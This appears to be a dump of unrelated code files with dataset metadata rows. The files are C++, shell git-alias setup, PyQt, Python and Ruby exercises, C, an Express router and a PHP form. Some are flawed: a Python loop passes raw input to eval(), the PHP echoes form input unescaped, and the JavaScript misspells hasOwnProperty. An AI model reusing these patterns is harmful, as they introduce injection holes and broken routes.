onStart() { super.onStart(); } @Override public void onClick(View view) { LogUtils.e("click test"); } public void exceptionTest() { try { String s = "123"; s.substring(0, 10); } catch (Exception e) { LogUtils.e("exception"); } } }
C++
UTF-8
5,542
2.640625
3
[]
no_license
#ifndef NODETREEOTHER_HPP #define NODETREEOTHER_HPP #include "nodetree.hpp" #include "dataMapOther.hpp" #include "modelParam.hpp" class TreeClassOther; class NodeOther: public Node { public: ModelParamBase** paramsOriginal; ModelParamBase** paramsSoFar; virtual bool writeThetaforMerged(int a, int b, dataMap** w, TreeClass* tree, graphData* D); NodeOther(int nodeID, int parentID, int partytype, bool isTerminal, int vertID, int dimension, graphData* D); NodeOther(int nodeID, int parentID, int partytype, bool isTerminal, int dimension, graphData* D); virtual void destroy(int di); virtual ~NodeOther(); virtual bool isOther() {return 1;} }; class TreeClassOther: public TreeClass { public: virtual bool isOther() { return true; } virtual int makeMergeNode(int a, int b); TreeClassOther(graphData* G, int dimension); virtual ~TreeClassOther(); NodeOther* returnNode(int i) { return (NodeOther*) nodeMap[i]; } }; TreeClassOther::~TreeClassOther() { // nothing to do // the base class destructor should be called after this } int TreeClassOther::makeMergeNode(int a, int b) { int c = this->numNodes; this->numNodes = c + 1; int ptype = this->nodeMap[a]->party; assert(ptype == this->nodeMap[b]->party); NodeOther* pnode = new NodeOther(c, -1, ptype, 0, dim, D); this->nodeMap[c] = pnode; this->nodeMap[a]->parent = c; this->nodeMap[b]->parent = c; pnode->childSet.insert(a); pnode->childSet.insert(b); this->topLevel.erase(a); this->topLevel.erase(b); this->topLevel.insert(c); return c; } TreeClassOther::TreeClassOther(graphData* G, int dimension) { this->dim = dimension; D = G; for (unsigned int i=0; i<D[0].numV; i++) { this->nodeMap[i] = new NodeOther(i, -1, D[0].typeList[i], 1, i, this->dim, D); this->topLevel.insert(i); } this->numNodes = D[0].numV; } NodeOther::NodeOther(int nodeID, int parentID, int partytype, bool isTerminal, int dimension, graphData* D) :Node(nodeID, parentID, partytype, isTerminal, dimension, D) { this->paramsOriginal = new ModelParamBase*[dimension]; this->paramsSoFar = new ModelParamBase*[dimension]; for (int d=0; d<dimension; d++) { if (D[d].gtype == 'b') { this->paramsOriginal[d] = new BinomialParam; this->paramsSoFar[d] = new BinomialParam; } else if (D[d].gtype == 'p') { this->paramsOriginal[d] = new PoissonParam; this->paramsSoFar[d] = new PoissonParam; } else if (D[d].gtype == 'w') { this->paramsOriginal[d] = new WParam; this->paramsSoFar[d] = new WParam; } else if (D[d].gtype == 'd') { this->paramsOriginal[d] = new DcorrParam; this->paramsSoFar[d] = new DcorrParam; } else if (D[d].gtype == 'g') { this->paramsOriginal[d] = new GaussianParam; this->paramsSoFar[d] = new GaussianParam; } else { std::cerr << "dont know what to do with graph type "<<D[d].gtype<<" while making node\n"; throw(1); } if (isTerminal) { this->paramsOriginal[d]->init(); this->paramsSoFar[d]->init(); } } } NodeOther::NodeOther(int nodeID, int parentID, int partytype, bool isTerminal, int vertID, int dimension, graphData* D): Node(nodeID, parentID, partytype, isTerminal, vertID, dimension, D) { if (! isTerminal) { std::cerr << "bad call to NodeOther constructor!, given vertex ID for non-terminal node!\n"; throw(1); } this->paramsOriginal = new ModelParamBase*[dimension]; this->paramsSoFar = new ModelParamBase*[dimension]; for (int d=0; d<dimension; d++) { if (D[d].gtype == 'b') { this->paramsOriginal[d] = new BinomialParam; this->paramsSoFar[d] = new BinomialParam; } else if (D[d].gtype == 'p') { this->paramsOriginal[d] = new PoissonParam; this->paramsSoFar[d] = new PoissonParam; } else if (D[d].gtype == 'w') { this->paramsOriginal[d] = new WParam; this->paramsSoFar[d] = new WParam; } else if (D[d].gtype == 'd') { this->paramsOriginal[d] = new DcorrParam; this->paramsSoFar[d] = new DcorrParam; } else if (D[d].gtype == 'g') { this->paramsOriginal[d] = new GaussianParam; this->paramsSoFar[d] = new GaussianParam; } else { std::cerr << "dont know what to do with graph type "<<D[d].gtype<<" while making node\n"; throw(1); } paramsOriginal[d]->init(); paramsSoFar[d]->init(); } } void NodeOther::destroy(int di) { Node::destroy(di); int d; for (d=0;d<di;d++) { delete paramsSoFar[d]; delete paramsOriginal[d]; } } NodeOther::~NodeOther() { delete[] paramsSoFar; delete[] paramsOriginal; } bool NodeOther::writeThetaforMerged(int a, int b, dataMap** ww, TreeClass* tree, graphData* D) { dataMapOther **w = (dataMapOther**) ww; for (int d=0;d<(tree->dim);d++) { this->params[d]->calculate(w[d]->get_uv(a,b),w[d]->datvert[a],w[d]->datvert[b]); this->paramsOriginal[d]->calculate(w[d]->get_uvOriginal(a,b),w[d]->oDatvert[a],w[d]->oDatvert[b]); this->paramsSoFar[d]->calculate(w[d]->get_uvSoFar(a,b),w[d]->sDatvert[a],w[d]->sDatvert[b]); if (this->collapsed) { this->params[d]->collapse(((NodeOther*) tree->nodeMap[a])->params[d], ((NodeOther*) tree->nodeMap[b])->params[d]); this->paramsOriginal[d]->collapse(((NodeOther*) tree->nodeMap[a])->paramsOriginal[d], ((NodeOther*) tree->nodeMap[b])->paramsOriginal[d]); this->paramsSoFar[d]->collapse(((NodeOther*) tree->nodeMap[a])->paramsSoFar[d], ((NodeOther*) tree->nodeMap[b])->paramsSoFar[d]); } this->paramsOriginal[d]->cleanup(); this->paramsSoFar[d]->cleanup(); this->params[d]->cleanup(); //this->params[d]->bestfromSoFar(this->paramsOriginal[d],this->paramsSoFar[d]); } return 1; } #endif
Shell
UTF-8
722
2.8125
3
[]
no_license
#!/bin/bash set -e set -u # https://noamlewis.wordpress.com/2013/01/24/git-admin-an-alias-for-running-git-commands-as-a-privileged-ssh-identity/ # Run git commands as the SSH identity provided by the keyfile ~/.ssh/admin git config --global --remove-section alias git config --global alias.my \!"$HOME/config_scripts/git-as.sh ~/.ssh/my/id_rsa" git config --global alias.work \!"$HOME/config_scripts/git-as.sh ~/.ssh/work/id_rsa" git config --global alias.prezzee \!"$HOME/config_scripts/git-as.sh ~/.ssh/prezzee/id_rsa" git config --global alias.co "checkout" git config --global alias.hist "log --pretty=format:\"%h %ad | %s%d [%an]\" --graph --date=short" git config --global credential.helper 'cache --timeout=600'
Python
UTF-8
1,974
2.75
3
[]
no_license
import sys import json from PyQt5.QtWidgets import * from PyQt5.QtGui import * from PyQt5.QtCore import * class MainWindow(QWidget): def __init__(self, parent=None): super().__init__(parent=parent) self.setupData() self.setupUi() def setupData(self): self.tr = json.load(open('drugs_trname.json')) self.sc = json.load(open('drugs_scname.json')) def setupUi(self): self.mainlayout = mainlayout = QVBoxLayout(self) searchlayout = QHBoxLayout() self.infowidget = QWidget() self.infowidget.hide() self.edit = QLineEdit() self.edit.returnPressed.connect(lambda: self.showInfo(self.edit.text())) radioTr = QRadioButton('Tr.', toggled = self.setSearchType) radioTr.setChecked(True) radioSc = QRadioButton('Sc.') searchlayout.addWidget(radioTr) searchlayout.addWidget(radioSc) searchlayout.addStretch() mainlayout.addWidget(self.edit) mainlayout.addLayout(searchlayout) mainlayout.addWidget(self.infowidget) def setSearchType(self, tr): if tr: completer = QCompleter(self.tr.keys()) self.search = 'tr' else: completer = QCompleter(self.sc.keys()) self.search = 'sc' self.edit.setCompleter(completer) def showInfo(self, drug): if self.search == 'tr': info = self.tr.get(drug) if not info: return old, self.infowidget = self.infowidget, QWidget() infolayout = QGridLayout(self.infowidget) row = 0 for label, data in info.items(): infolayout.addWidget(QLabel(label), row, 0) infolayout.addWidget(QLabel(data), row, 1) row += 1 # -------------------------------------- else: info = self.sc.get(drug) if not info: return old, self.infowidget = self.infowidget, QListWidget() for record in info: self.infowidget.addItem(record.get('TradeName')) self.mainlayout.replaceWidget(old, self.infowidget) old.hide() if __name__ == "__main__": app = QApplication(sys.argv) window = MainWindow() window.show() app.exec()
Python
UTF-8
541
3.578125
4
[]
no_license
def bar(a_list): print("a_list is:",a_list) print("a_list id is:", id(a_list)) b_list = a_list + [1] print("a_list is:",a_list) print("b_list is:",b_list) print("b_list id is:", id(b_list)) b_list[3][0] = 0 print("b_list is:",b_list) print("b_list id is:", id(b_list)) #Create a new list. new_list = [1,2,3,[4,5,6]] print("New list is:",new_list) print("New list id is:", id(new_list)) #Call bar on new_list bar(new_list) print("New list is:", new_list) print("New list id is:", id(new_list))
C
UTF-8
510
2.828125
3
[ "MIT" ]
permissive
#include "stack.h" int main(int argc, char **argv) { char *line, input[MAXCHAR], *x; int len; void *st; st = createStack(); x = fgets(input, MAXCHAR, stdin); while (x) { len = strlen(x); if (len != 1) { line = (char *)malloc(sizeof(char)*len); strcpy(line, x); push(st, (void *)line); } else { x = (char *) pop(st); if (x) { printf("%s",x); } } x = fgets(input, MAXCHAR, stdin); } while ((x = (char *)pop(st)) != NULL) { printf("%s", x); } deleteStack(st); }
Python
UTF-8
706
4.34375
4
[]
no_license
"""The built in function eval takes a string and evaluates it using use python interpreter. Write a function called eval_loop that iteratively prompts the user, takes the resulting input and evaluates it using eval, and prints the result. It should continue until the user enters "done", and then, returns the value of the last expression that was evaluated. """ def eval_loop(): user_input = None while True: user_input = input("Type an expression to be evaluated:") if user_input == "Done": break else: print(eval(user_input)) return user_input # note: if a non-proposition is evaluated, an error occurs. eval_loop()
Ruby
UTF-8
340
3.90625
4
[]
no_license
def while_loop(numbers = [], augmenter = 1) (0..6).each{|i| puts "At the top i is #{i}" numbers.push(i) i += augmenter puts "Numbers now: ", numbers puts "At the bottom i is #{i}" } return numbers end numbers = while_loop([],20) puts "The numbers: " # remember you can write this 2 other ways? numbers.each{|num| puts num }
JavaScript
UTF-8
980
2.53125
3
[]
no_license
module.exports= function(app) { const db = require('./db'); app.get('/teams', function(req,res){ res.send(db); }); app.get('/teams/:id', function(req,res){ const id = req.params.id; db.teams.hasOwnPeoperty(id) ? res.status(200).json(db.teams[id]) : res.status(404).send("404 error"); }); app.post('/teams', (req,res) => { let nuevoPais = req.body.id; if(db.teams.hasOwnPeoperty(nuevoPais)){ res.status(409).json('Usuario ya existe'); }else { db.teams[nuevoPais] = req.body; res.status(200).json(db); } }); app.delete('/teams/:id', function(req,res){ const id = req.params.id; delete db.teams[id]; }); app.patch('/teams/:id', function(req,res){ const id = req.params.id; const dataToadd = req.body; const propsTomodify = Object.keys(dataToadd); if(db.teams.hasOwnPeoperty(id)){ delete dataToadd[id]; } db.teams[id] = {...db.teams[id], ...dataToadd} }); }
Python
UTF-8
410
2.59375
3
[ "MIT" ]
permissive
from datetime import datetime from django.utils import timezone def fromtimestamp(timestamp): return datetime.fromtimestamp(timestamp, tz=timezone.get_current_timezone()) def strptime(date_string, format, default_tz=timezone.utc): dt = datetime.strptime(date_string, format) if timezone.is_naive(dt): dt = timezone.make_aware(dt, timezone=default_tz) return timezone.localtime(dt)
Markdown
UTF-8
5,623
2.6875
3
[]
no_license
--- layout: post title: "Parts Search and Availability" category: "Parts Sales Order" icon: "icon-gear" type: "api" comments: false description: Allow user to search for parts by part ID, Description and by part Supplier (Manufacturer) --- The Part Search API is used to search for parts by part ID, Description and by part Supplier (Manufacturer) The Search returns detail part information including pricing by customer if requested and quantity available. ***NOTE: Requires Fusion version 3.60.10*** --- --- ### Request Fields | Name | Length | Required | | Description | | ----------- | -------- | ---- | ------------------------------------------------------------ | | locationID | | Y | Location or Branch ID | | customerID | 20 | | unique customer Identifier within Fusion system | | region | 6 | | State / region / area | | number | 30 | O* | Part Number to be searched for. *If Part Description field is set then this is optional. | | description | 50 | O* | Description for part to be searched for. *If Part Number field is set then this is optional. | | exactMatch | boolean1 | | Flag for returning only exact matches. If set to true, only parts that match the search criteria exactly will be returned. Default is TRUE | | source | 10 | | The source or Supplier of the part to be searched for. | #### Business Logic | exactMatch | number | description | result | |-----------------|-----------------|----------------|--------------------------------------------------------------------------------------| | true | has value | blank | return exact part match using number, description is ignored in search | | true | has value | has value | return exact part match using number AND description | | true | blank | has value | return exact part match using description, name is ignored in search | | true (or) false | blank | blank | error returned / missing a required filed | | false | has value \>= 5 | less than 5 | return part match list using number with wildcard, description is ignored in search | | false | has value \>=5 | has value \>=5 | return part match list using number AND description with wildcards on each | | false | less than 5 | has value \>=5 | return part match list using description with wildcards, number is ignored in search | | false | less than 5 | less than 5 | error returned / minimum length not submitted in a required filed | ### Response Fields | Name | Length | Description | |--------------|----|--------------------------------------------------------| | number | 30 | Business system part number | | description | 50 | Business system part description | | supplierCode | 6 | Business system supplier code | | ID | 4 | Business system unique product code | | weight | 13 | Business system weight per part | | available | 12 | Part’s current quantity on hand or availability status | | price | 12 | Customer’s calculated price for part | | listPrice | 12 | Business system part list price | | EHCCharge | 12 | Environmental handling charges associate with the part | --- --- ## Part Search ### POST ``` /api/unity/{version}/unityapi/PartsSearch/Search ``` ### REQUEST ```json { "customerID": "bu4999", "locationID": "234234", "parts": [ { "number": "F120", "description": "F120", "exactMatch": false, "source": "" }, { "number": "F121", "description": "F121", "exactMatch": false, "source": "" } ] } ``` #### RESPONSE ```json [ { "criteria": { "number": "F120", "description": "F120", "exactMatch": false, "source": "" }, "results": [ { "ID": "4387hgj9", "number": "F120", "description": "Diamond Encrusted Dinglehopper", "SupplierCode": "1232", "Weight": "8", "Available": "24", "Price": { "customerPrice": "8.00", "listPrice": "12.00" }, "EHCCharge": { "percentage": null, "flatRate": null }, "core": null }, { "ID": "4387hffs9", "number": "F120233", "Description": "Diamond Encrusted Dinglehopper", "SupplierCode": "1235", "Weight": "8", "Available": "12", "Price": { "customerPrice": "9.00", "listPrice": "0.00" }, "EHCCharge": { "percentage": null, "flatRate": null }, "core": null }], "message" : "" }, { "criteria": { "number": "F121", "description": "F121", "exactMatch": false, "source": "" }, "results": [ { "ID": "2000sdf34", "number": "F121ddd", "Description": "Snifflewaffle", "SupplierCode": "1232", "Weight": "12", "Available": "2", "Price": { "customerPrice": "676.00", "listPrice": "714.00" }, "EHCCharge": { "percentage": null, "flatRate": null }, "core": null } ], "message" : "" } ] ```
JavaScript
UTF-8
1,711
2.578125
3
[]
no_license
import { decodeJSONNoAck} from './utils' import {SET_LOBBY} from '../store/mutations.type' const newLobbyManager = (socket, store) => { store const obj = { joinLobby(lobbyName) { return new Promise((resolve, reject) => { socket.emit('join', JSON.stringify({ lobbyName: lobbyName }), (resp) => { resp = JSON.parse(resp) if (resp.error) { return reject(resp) } resolve(resp) }) }) }, choosePosition(position) { return new Promise((resolve, reject) => { socket.emit('choose position', JSON.stringify({ position: position }), (resp) => { resp = JSON.parse(resp) if (resp.error) { return reject(resp) } resolve(resp) }) }) }, leaveLobby(){ return new Promise(resolve => { socket.emit('leave lobby', '', (resp) => { console.log(resp) return resolve() }) }) }, recvLobby(req) { store.commit(SET_LOBBY, req) }, initHandlers() { const handlers = { 'lobby': this.recvLobby, } for (let key in handlers) { socket.on(key, decodeJSONNoAck(this, handlers[key])) } } } obj.initHandlers() return obj } export default newLobbyManager
PHP
UTF-8
825
2.984375
3
[]
no_license
<?php var_dump($_GET); var_dump( isset($_GET['page']) ); var_dump( empty($_GET['page']) ); var_dump( $_POST ); $first_name = isset( $_POST['first_name'] ) ? $_POST['first_name'] : ''; $email = $_POST['email'] ?? ''; $email = !empty($_POST['email']) ? $_POST['email'] : ''; // same as line above ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>GET & POST</title> </head> <body> <form action="" method="post"> <input type="text" name="first_name" value="<?php echo $first_name ?>"> <br> <br> <input type="email" name="email" value="<?= $email ?>"> <br> <br> <input type="submit" value="Submit the form!"> </form> </body> </html>